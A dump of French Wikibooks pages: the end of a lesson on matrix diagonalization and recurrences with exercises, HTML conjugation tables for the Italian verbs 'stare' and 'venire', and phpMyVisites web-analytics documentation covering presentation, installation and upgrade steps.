\end{pmatrix} </math> Nous devons diagonaliser :<math> A = \begin{pmatrix} 5&-6\\ 1&0 \end{pmatrix} </math> nous effectuons : :<math>det(A - \lambda I) = 0\,</math> nous obtenons :<math>\lambda = 2, 3</math> Pour <math>\lambda = 2\,</math> :<math>(A - 2I)x = 0\,</math> :<math>x= \begin{pmatrix} 2\\ 1 \end{pmatrix}</math> Pour <math>\lambda = 3\,</math> :<math>(A - 3I)x = 0</math> :<math>x= \begin{pmatrix} 3\\ 1 \end{pmatrix}</math> Par conséquent :<math>A = \begin{pmatrix} 2&3\\ 1&1 \end{pmatrix} \begin{pmatrix} 2&0\\ 0&3 \end{pmatrix} \begin{pmatrix} 2&3\\ 1&1 \end{pmatrix}^{-1} </math> Maintenant :<math>A^{n-1} = \begin{pmatrix} 2&3\\ 1&1 \end{pmatrix} \begin{pmatrix} 2&0\\ 0&3 \end{pmatrix}^{n-1} \begin{pmatrix} -1&3\\ 1&-2 \end{pmatrix} </math> :<math>A^{n-1} = \begin{pmatrix} 2&3\\ 1&1 \end{pmatrix} \begin{pmatrix} 2^{n-1}&0\\ 0&3^{n-1} \end{pmatrix} \begin{pmatrix} -1&3\\ 1&-2 \end{pmatrix} </math> :<math>A^{n-1} = \begin{pmatrix} -2^n+3^n&3\times 2^n-2\times 3^n\\ -2^{n-1}+3^{n-1}&3\times 2^{n-1}-2\times 3^{n-1} \end{pmatrix} </math> Par conséquent :<math> \begin{pmatrix} x_n\\ x_{n-1} \end{pmatrix} = \begin{pmatrix} -2^n+3^n&3\times 2^n-2\times 3^n\\ -2^{n-1}+3^{n-1}&3\times 2^{n-1}-2\times 3^{n-1} \end{pmatrix} \begin{pmatrix} 1\\ 0 \end{pmatrix} </math> :<math> \begin{pmatrix} x_n\\ x_{n-1} \end{pmatrix} = \begin{pmatrix} -2^n+3^n\\ -2^{n-1}+3^{n-1} \end{pmatrix} </math> i.e :<math> x_n = -2^n + 3^n\,</math> === Exercices === 1. Calculer <math>A^5\,</math> où :<math> A = \begin{pmatrix} -12 & 10\\ -21 & 17 \end{pmatrix} </math> 2. Calculer <math>A^5\,</math> où :<math> A = \begin{pmatrix} -6 & 28\\ -2 & 9 \end{pmatrix} </math> 3. Résoudre les relations de récurrence suivantes :<math>x_n = 3x_{n-1} - x_{n-2}\,</math> :<math>x_1 = 1\,</math> :<math>x_0 = 0\,</math> == Projet -- Matrices élémentaires == Partout, <math> A = \begin{pmatrix}a & b\\ c & d\end{pmatrix}</math> 1. Les matrices ci-dessous sont appelées ''matrices élémentaires''. Comment ces matrices ci-dessous diffèrent-elles de la matrice identité ''I'', décrivons chacune d'elles. * <math>\begin{pmatrix} 0 & 1 \\ 1 & 0 \end{pmatrix}</math> * <math>\begin{pmatrix} 1 & f \\ 0 & 1 \end{pmatrix}</math> où f est un scalaire * <math>\begin{pmatrix} 1 & 0 \\ f & 1 \end{pmatrix}</math> où f est un scalaire * <math>\begin{pmatrix} f & 0 \\ 0 & 1 \end{pmatrix}</math> où f est un scalaire * <math>\begin{pmatrix} 1 & 0 \\ 0 & f \end{pmatrix}</math> où f est un scalaire 2. Dans chacun des cas, calculons '''B''' puis décrivons comment '''B''' est différente de '''A''' * <math>B = \begin{pmatrix} 0 & 1 \\ 1 & 0 \end{pmatrix}A</math> * <math>B = \begin{pmatrix} 1 & f \\ 0 & 1 \end{pmatrix}A</math> où f est un scalaire * <math>B = \begin{pmatrix} 1 & 0 \\ f & 1 \end{pmatrix}A</math> où f est un scalaire * <math>B = \begin{pmatrix} f & 0 \\ 0 & 1 \end{pmatrix}A</math> où f est un scalaire * <math>B = \begin{pmatrix} 1 & 0 \\ 0 & f \end{pmatrix}A</math> où f est un scalaire 3. La matrice <math>\begin{pmatrix}1 & 2\\4 & 3\end{pmatrix}</math> possède un déterminant différent de zéro. Nous pouvons ''décomposer'' la matrice en produits de matrices élémentaires en pré-multipliant l'identité : :<math>\begin{pmatrix}1 & 2\\4 & 3\end{pmatrix} = \begin{pmatrix}0 & 1\\1 & 0\end{pmatrix} \begin{pmatrix}1 & 3\\0 & 1\end{pmatrix} \begin{pmatrix}1 & 0\\1 & 1\end{pmatrix} \begin{pmatrix}1 & 0\\0 & 5\end{pmatrix} \begin{pmatrix}1 & -3\\0 & 1\end{pmatrix} \begin{pmatrix}1 & 0\\0 & 1\end{pmatrix}</math> Maintenant, supposons <math>det(A) \ne 0\,</math>, '''''A''''' peut-elle être exprimée comme le produit de matrices élémentaires et de l'identité ? 4. a) Montrer que chaque matrice élémentaire possède un inverse. Astuce : utiliser le déterminant. b) Démontrer que chaque matrice inversible (une matrice qui a un inverse) est le produit de certaines matrices élémentaires pré-multipliant l'identité. 5. La ''transposée'' d'une matrice '''''C''''' est la matrice <math>C^t\,</math> où la ''i''ème ligne de '''''C''''' est la ''i''ème colonne de <math>C^t\,</math>. Démontrer en utilisant les matrices élémentaires que :<math>(DE)^t = E^tD^t\,</math> pour des matrices arbitraires '''''D''''' et '''''E'''''. 6. Montrer que chaque matrice inversible est aussi le produit de certaines matrices élémentaires '''post'''-multipliant l'identité. 7. Qu'en est'il des matrices non-inversibles ? Que pouvez-vous dire à propos d'elles ? == Ensemble de problèmes == 1. Zhuo a décidé d'écrire un message à Julie en utilisant un cryptage matriciel. Il a substitué chaque lettre de l'alphabet par un nombre : :A par 0 :B par 1 :C par 2 :... :Z par 25, puis, il a écrit son message dans une matrice 2 x 4 comme cela : :<math>X = \begin{pmatrix} ?&?&?&?\\ ?&?&?&?\end{pmatrix} </math>, maintenant, il pré-multiplie son message secret '''''X''''' avec une matrice pour obtenir le résultat :<math> \begin{pmatrix} 2&3\\ 3&5\end{pmatrix} \begin{pmatrix} ?&?&?&?\\ ?&?&?&?\end{pmatrix} =\begin{pmatrix} 28&94&70&102\\ 44&153&112&163\end{pmatrix} </math>. Quel était le message de Zhuo pour Julie ? 2. Une matrice 2 x 2 '''''A''''' possède la propriété suivante :<math>A\begin{pmatrix}1 \\ 2 \end{pmatrix}= \begin{pmatrix}1 \\ 0 \end{pmatrix}</math> et <math>A\begin{pmatrix}3 \\ 4 \end{pmatrix}= \begin{pmatrix}0 \\ 1 \end{pmatrix}</math>. Quel est l'inverse de '''''A''''' ? 3. Soit :<math>J = \begin{pmatrix}0 &1\\ 1 &0 \end{pmatrix}</math>, et soit K = I + J. Montrer que <math>K^n = nK\,</math>. 4. Trouver A tel que : <math>A^3 = \begin{pmatrix} -10&18\\ -9&17 \end{pmatrix} </math> ''...plus à venir. Contribuez, s'il vous plait avec de bons problèmes''. 1ère conjugaison - stare (rester) 4481 16123 2005-07-04T19:31:29Z Liquid Bird 382 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">sto</div> </td> <td width="26%"> <div align="center">stavo</div> </td> <td width="27%"> <div align="center">star&ograve;</div> </td> <td width="24%"> <div align="center">stetti</div> </td> </tr> <tr> <td width="23%"> <div align="center">stai</div> </td> <td width="26%"> <div align="center">stavi</div> </td> <td width="27%"> <div align="center">stari</div> </td> <td width="24%"> <div align="center">stesti</div> </td> </tr> <tr> <td width="23%"> <div align="center">sta</div> </td> <td width="26%"> <div align="center">stava</div> </td> <td width="27%"> <div align="center">star&agrave;</div> </td> <td width="24%"> <div align="center">stette</div> </td> </tr> <tr> <td width="23%"> <div align="center">stiamo</div> </td> <td width="26%"> <div align="center">stavamo</div> </td> <td width="27%"> <div align="center">staremo</div> </td> <td width="24%"> <div align="center">stemmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">state</div> </td> <td width="26%"> <div align="center">stavate</div> </td> <td width="27%"> <div align="center">starete</div> </td> <td width="24%"> <div align="center">steste</div> </td> </tr> <tr> <td width="23%"> <div align="center">stanno</div> </td> <td width="26%"> <div align="center">stavano</div> </td> <td width="27%"> <div align="center">staranno</div> </td> <td width="24%"> <div align="center">stettero</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">sono stato(a)</div> <td width="26%"> <div align="center">ero stato(a)</div> </td> <td width="27%"> <div align="center">sar&ograve; stato(a)</div> </td> <td width="24%"> <div align="center">fui stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">sei stato(a)</div> </td> <td width="26%"> <div align="center">eri stato(a)</div> </td> <td width="27%"> <div align="center">sarai stato(a)</div> </td> <td width="24%"> <div align="center">fosti stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">&egrave; stato(a)</div> </td> <td width="26%"> <div align="center">era stato(a)</div> </td> <td width="27%"> <div align="center">sar&agrave; stato(a)</div> </td> <td width="24%"> <div align="center">fu stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">siamo stati(e)</div> </td> <td width="26%"> <div align="center">eravamo stati(e)</div> </td> <td width="27%"> <div align="center">saremo stati(e)</div> </td> <td width="24%"> <div align="center">fummo stati(e)</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">siete stati(e)</div> </td> <td width="26%" height="13"> <div align="center">eravate stati(e)</div> </td> <td width="27%" height="13"> <div align="center">sarete stati(e)</div> </td> <td width="24%" height="13"> <div align="center">foste stati(e)</div> </td> </tr> <tr> <td width="23%"> <div align="center">sono stati(e)</div> </td> <td width="26%"> <div align="center">erano stati(e)</div> </td> <td width="27%"> <div align="center">saranno stati(e)</div> </td> <td width="24%"> <div align="center">furono stati(e)</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">stia</div> </td> <td width="26%"> <div align="center">stessi</div> </td> <td width="27%"> <div align="center">sia stato(a)</div> </td> <td width="24%"> <div align="center">fossi stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">stia</div> </td> <td width="26%"> <div align="center">stessi</div> <td width="27%"> <div align="center">sia stato(a)</div> </td> <td width="24%"> <div align="center">fossi stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">stia</div> </td> <td width="26%"> <div align="center">stesse</div> </td> <td width="27%"> <div align="center">sia stato(a)</div> </td> <td width="24%"> <div align="center">fosse stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">stiamo</div> </td> <td width="26%"> <div align="center">stessimo</div> </td> <td width="27%"> <div align="center">siamo stati(e)</div> </td> <td width="24%"> <div align="center">fossimo stati(e)</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">stiate</div> </td> <td width="26%" height="13"> <div align="center">steste</div> </td> <td width="27%" height="13"> <div align="center">siate stati(e)</div> </td> <td width="24%" height="13"> <div align="center">foste stati(e)</div> </td> </tr> <tr> <td width="23%"> <div align="center">stiano</div> </td> <td width="26%"> <div align="center">stessero</div> </td> <td width="27%"> <div align="center">siano stati(e)</div> </td> <td width="24%"> <div align="center">fossero stati(e)</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">starei</div> </td> <td width="26%"> <div align="center">sarei stato(a)</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">staresti</div> </td> <td width="26%"> <div align="center">saresti stato(a)</div> </td> <td width="27%"> <div align="center">sta</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">starebbe</div> </td> <td width="26%"> <div align="center">sarebe stato(a)</div> </td> <td width="27%"> <div align="center">stia</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">staremmo</div> </td> <td width="26%"> <div align="center">saremmo stati(e)</div> </td> <td width="27%"> <div align="center">stiamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">stareste</div> </td> <td width="26%" height="13"> <div align="center">sareste stati(e)</div> </td> <td width="27%" height="13"> <div align="center">state</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">starebbero</div> </td> <td width="26%"> <div align="center">sarebbero stati(e)</div> </td> <td width="27%"> <div align="center">stiano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center"`>stare</div> <td width="26%"> <div align="center">essere stato(a)</div> </td> <td width="27%"> <div align="center">stando</div> </td> <td width="24%"> <div align="center">essendo stato(a)</div> </td> </tr> </table> 3ième conjugaison - venire (venir) 4482 16122 2005-07-04T19:30:54Z Liquid Bird 382 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">vengo</div> </td> <td width="26%"> <div align="center">venivo</div> </td> <td width="27%"> <div align="center">verr&ograve;</div> </td> <td width="24%"> <div align="center">venni</div> </td> </tr> <tr> <td width="23%"> <div align="center">vieni</div> </td> <td width="26%"> <div align="center">venivi</div> </td> <td width="27%"> <div align="center">verrai</div> </td> <td width="24%"> <div align="center">venisti</div> </td> </tr> <tr> <td width="23%"> <div align="center">viene</div> </td> <td width="26%"> <div align="center">veniva</div> </td> <td width="27%"> <div align="center">verr&agrave;</div> </td> <td width="24%"> <div align="center">venne</div> </td> </tr> <tr> <td width="23%"> <div align="center">veniamo</div> </td> <td width="26%"> <div align="center">venivamo</div> </td> <td width="27%"> <div align="center">verremo</div> </td> <td width="24%"> <div align="center">venimmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">venite</div> </td> <td width="26%"> <div align="center">venivate</div> </td> <td width="27%"> <div align="center">verrete</div> </td> <td width="24%"> <div align="center">veniste</div> </td> </tr> <tr> <td width="23%"> <div align="center">vengono</div> </td> <td width="26%"> <div align="center">venivano</div> </td> <td width="27%"> <div align="center">verranno</div> </td> <td width="24%"> <div align="center">vennero</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">sono venuto(a)</div> <td width="26%"> <div align="center">ero venuto(a)</div> </td> <td width="27%"> <div align="center">sar&ograve; venuto(a)</div> </td> <td width="24%"> <div align="center">fui venuto(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">sei venuto(a)</div> </td> <td width="26%"> <div align="center">eri venuto(a)</div> </td> <td width="27%"> <div align="center">sarai venuto(a)</div> </td> <td width="24%"> <div align="center">fosti venuto(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">&egrave; venuto(a)</div> </td> <td width="26%"> <div align="center">era venuto(a)</div> </td> <td width="27%"> <div align="center">sar&agrave; venuto(a)</div> </td> <td width="24%"> <div align="center">fu venuto(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">siamo venuti(e)</div> </td> <td width="26%"> <div align="center">eravamo venuti(e)</div> </td> <td width="27%"> <div align="center">saremo venuti(e)</div> </td> <td width="24%"> <div align="center">fummo venuti(e)</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">siete venuti(e)</div> </td> <td width="26%" height="13"> <div align="center">eravate venuti(e)</div> </td> <td width="27%" height="13"> <div align="center">sarete venuti(e)</div> </td> <td width="24%" height="13"> <div align="center">foste venuti(e)</div> </td> </tr> <tr> <td width="23%"> <div align="center">sono venuti(e)</div> </td> <td width="26%"> <div align="center">erano venuti(e)</div> </td> <td width="27%"> <div align="center">saranno venuti(e)</div> </td> <td width="24%"> <div align="center">furono venuti(e)</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">venga</div> </td> <td width="26%"> <div align="center">venissi</div> </td> <td width="27%"> <div align="center">sia venuto(a)</div> </td> <td width="24%"> <div align="center">fossi venuto(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">venga</div> </td> <td width="26%"> <div align="center">venissi</div> <td width="27%"> <div align="center">sia venuto(a)</div> </td> <td width="24%"> <div align="center">fossi venuto(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">venga</div> </td> <td width="26%"> <div align="center">vanisse</div> </td> <td width="27%"> <div align="center">sia venuto(a)</div> </td> <td width="24%"> <div align="center">fosse venuto(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">veniamo</div> </td> <td width="26%"> <div align="center">venissimo</div> </td> <td width="27%"> <div align="center">siamo venuti(e)</div> </td> <td width="24%"> <div align="center">fossimo venuti(e)</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">veniate</div> </td> <td width="26%" height="13"> <div align="center">veniste</div> </td> <td width="27%" height="13"> <div align="center">siate venuti(e)</div> </td> <td width="24%" height="13"> <div align="center">foste venuti(e)</div> </td> </tr> <tr> <td width="23%"> <div align="center">vengano</div> </td> <td width="26%"> <div align="center">venissero</div> </td> <td width="27%"> <div align="center">siano venuti(e)</div> </td> <td width="24%"> <div align="center">fossero venuti(e)</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">verrei</div> </td> <td width="26%"> <div align="center">sarei venuto(a)</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">venuto(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">verresti</div> </td> <td width="26%"> <div align="center">saresti venuto(a)</div> </td> <td width="27%"> <div align="center">vieni</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">verrebbe</div> </td> <td width="26%"> <div align="center">sarebe venuto(a)</div> </td> <td width="27%"> <div align="center">venga</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">verremmo</div> </td> <td width="26%"> <div align="center">saremmo venuti(e)</div> </td> <td width="27%"> <div align="center">veniamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">verreste</div> </td> <td width="26%" height="13"> <div align="center">sareste venuti(e)</div> </td> <td width="27%" height="13"> <div align="center">venite</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">verrebbero</div> </td> <td width="26%"> <div align="center">sarebbero venuti(e)</div> </td> <td width="27%"> <div align="center">vengano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">venire</div> <td width="26%"> <div align="center">essere venuto(a)</div> </td> <td width="27%"> <div align="center">venendo</div> </td> <td width="24%"> <div align="center">essendo venuto(a)</div> </td> </tr> </table> Documentation phpMyVisites 4483 43814 2006-06-03T17:04:35Z 82.253.29.207 [[en:phpMyVisites Documentation]] [[Catégorie:Documentation phpMyVisites|*]] <big><span style="color:#FF0000;"> Toutes les pages indiquées ci-dessous ont été transférées vers le wiki du site officiel. </span></big> <big><span style="color:#FF0000;"> Merci de n'apporter les nouvelles modifications qu'à cette nouvelle adresse : '''[http://www.phpmyvisites.net/documentation/Accueil phpMyVisites documentation]''' :-)</span></big> Catégorie:Documentation phpMyVisites 4484 16071 2005-07-04T08:10:32Z MyttO 383 Tous les articles de cette catégorie forme la documentation su système libre de mesure d'audiennce phpMyVisites. == Article principal == [[Documentation phpMyVisites]] Documentation phpMyVisites/Présentation 4485 16401 2005-07-12T13:26:50Z Matthieu 384 [[en:phpMyVisites Documentation/Presentation]] {{Documentation phpMyVisites|Présentation}} phpMyVisites est une application libre de statistiques et de mesure d’audience de sites Internet. Libre et gratuit, phpMyVisites propose de très nombreuses options d’analyses (visites, pages vues, temps de visite, analyse des pages d’entrées/sorties, suivi du visiteur, pays d’origine, configurations matérielles, analyses des mots clés et moteurs, etc.), une interface agréable et pratique, une installation entièrement automatisée, la gestion de plusieurs sites et une configuration/personnalisation poussée. phpMyVisites est international et de nombreuses langues sont utilisables. Après l’avoir installé sur votre serveur internet (la phase d’installation est entièrement automatisée et ne requiert aucune connaissance technique), vous devrez insérer un court code Javascript (qu’il vous suffira de copier-coller) sur les pages dont vous souhaitez obtenir les statistiques : la mise en oeuvre est simple et immédiate. phpMyVisites dispose (depuis la version 1.0) d’un module d’archivage dynamique qui permet la consultation des statistiques sur plusieurs périodes (jours, semaines, mois) sans contraintes de temps d’exécution et en réduisant de 30% la place occupée par les données sur le serveur. Toutes les requêtes à la base de données sont optimisées, les tables de la base de données et l’ensemble de l’application ont été conçus pour une rapidité maximale et une surcharge serveur minimale. phpMyVisites s’adresse ainsi à tous les sites Internet et webmasters, quel que soit le trafic du site audité : des tests ont été réalisés avec succès sur plusieurs sites Internet ayant des statistiques de 10000 visiteurs uniques par jour. Tout webmaster, quel que soit son niveau, pourra aisément utiliser & configurer phpMyVisites sur son site, la prise en main globale est aisée et très rapide. Les webmasters professionnels trouveront dans phpMyVisites l'outil idéal pour l'analyse de leur audience, phpMyVisites permet d'améliorer significativement les statistiques des sites Internet, si les résultats sont correctement analysés. Cette présente documentation a pour but de fournir une vision globale de l'application, et vous en apprendrez beaucoup sur l'analyse même de statistiques dans la partie dédiée : Fonctionnalités de phpMyVisites et analyse des résultats. D'une manière générale, phpMyVisites est un outil complet et simple à mettre en oeuvre et à utiliser. Il vous permettra à la fois de consulter en un coup d'oeil les statistiques essentielles, et vous pourrez à loisir analyser plus profondément chaque résultat afin de tirer des conclusions sur votre site, et de l'améliorer en conséquence. Documentation phpMyVisites/Installation 4486 16167 2005-07-05T15:30:58Z MyttO 383 /* Phase 3/3 */ [[Catégorie:Documentation phpMyVisites|Installation]] == Configuration requise == Pour faire fonctionner correctement phpMyVisites, votre serveur doit supporter [[w:PHP hypertext preprocessor|PHP4]] (compilé avec la librairie [[w:GD2|GD2]] et la librairie [[w:FreeType|FreeType]]), et vous devez disposer d’une base [[w:MySQL|MySQL]]. Cette configuration est proposée par la quasi-totalité des hébergeurs gratuits et professionnels. Votre site ne doit pas nécessairement être écrit en PHP, un site entièrement en HTML sera parfaitement indexé par les statistiques (tout comme un site en ASP, JSP, Perl, etc.). Si vous souhaitez installer un serveur Apache sur votre ordinateur personnel, consultez le site officiel d'Apache, vous y trouverez toutes les informations nécessaires à l'installation et la configuration. Faites de même pour l'installation de php et du serveur MySQL). Si votre installation de php est mal configurée (notamment sans la librairie FreeType installée, ou avec la librairie GD2 non activée), vous ne pourrez visionner les graphiques de phpMyVisites. Nous vous conseillons alors de faire la demande auprès de votre hébergeur pour qu'il ajoute cette fonctionnalité. Votre serveur MySQL peut être accessible localement ou à distance, cela n'a pas d'importance. Il suffit que vous ayez la permission de créer des tables dans votre base. === Liens externes === * [http://www.apache.org/ Site officiel d'Apache] * [http://www.php.net/ Site officiel de PHP] * [http://www.mysql.com/ Site officiel de MySQL] == Configuration conseillée == Apache est la solution serveur la plus sûre, la plus stable et la plus répandue sur le marché. Libre, il est gratuitement téléchargeable sur http://www.apache.org/. phpMyVisites requiert une version de php >= 4.1 ; nous vous conseillons néanmoins d’utiliser une version de php >= 4.3.4 (plus stable, plus sécurisée, plus puissante). Toutes les informations et les dernières versions stables sont disponible sur http://www.php.net/. Pour ce qui est de la configuration même de php, nous vous conseillons de laisser l'option register_globals sur Off pour des raisons de sécurité (cf fichier php.ini sur votre serveur) : phpMyVisites a été développé pour fonctionner avec register_globals sur Off. Pour le serveur MySQL, préférez une version >=3.23 ; si le trafic de votre site est très élevé, il peut être intéressant de consacrer une base entière à phpMyVisites, pour des raisons de rapidité (les gains seront négligeables mais pourraient parfois être intéressants). == Initialiser l’installation == Téléchargez la dernière version de phpMyVisites sur le site officiel. Décompressez son contenu sur votre disque dur et uploadez le répertoire ´phpMyVisites´ (crée lors de la décompression) sur votre serveur. Pour lancer la phase d’installation, rendez vous avec votre navigateur Internet dans ce répertoire (par exemple : http://www.votresite.com/web/phpmyvisites/). == Mettre à jour une ancienne version == Si vous procédez à une mise à jour et que vous ne souhaitez pas perdre toutes vos statistiques, suivez précisément les indications suivantes (qui dépendent de la version que vous utilisez actuellement). === A partir de la version bêta 0.1 (b0.1) === Il est malheureusement impossible de conserver vos anciennes données de la b0.1 (il faudra supprimer toutes vos tables et le répertoire phpmyvisites de votre serveur et d'installer « normalement »). phpMyVisites version b0.1 était la première version publiée, et son architecture ne permettait pas de fournir toutes les informations importantes sur les statistiques de sites Internet. N'hésitez pas à passer à la dernière version de phpMyVisites, car même si vous perdrez vos données vous serez largement bénéficiaire du fait des nombreuses améliorations et nouvelles fonctionnalités introduites. === A partir de la version 1.0 ou 1.1 === phpMyVisites a beaucoup évolué depuis ces versions. Certaines de vos anciennes statistiques pourront ne pas être compatibles (dans les Affluents notamment). Toutes les statistiques globales sont cependant parfaitement conservées. Suivez précisément les étapes suivantes pour mettre à jour : * téléchargez à partir du répertoire phpmyvisites de votre serveur, les différents fichiers de configurations (config.php, les différents configX.php, nomsites.php). Conservez les précieusement ! * effacez la totalité du répertoire phpmyvisites sur votre serveur (fichiers de configurations inclus). Surtout, n’ayez pas peur ! * uploadez la nouvelle version sur le serveur (le contenu du répertoire ’phpmyvisites’ crée lors de la décompression de l’archive). * éditez le fichier config.php et remplacez la ligne 4 par « $pass=crypt('test','es'); » (sans les « »). 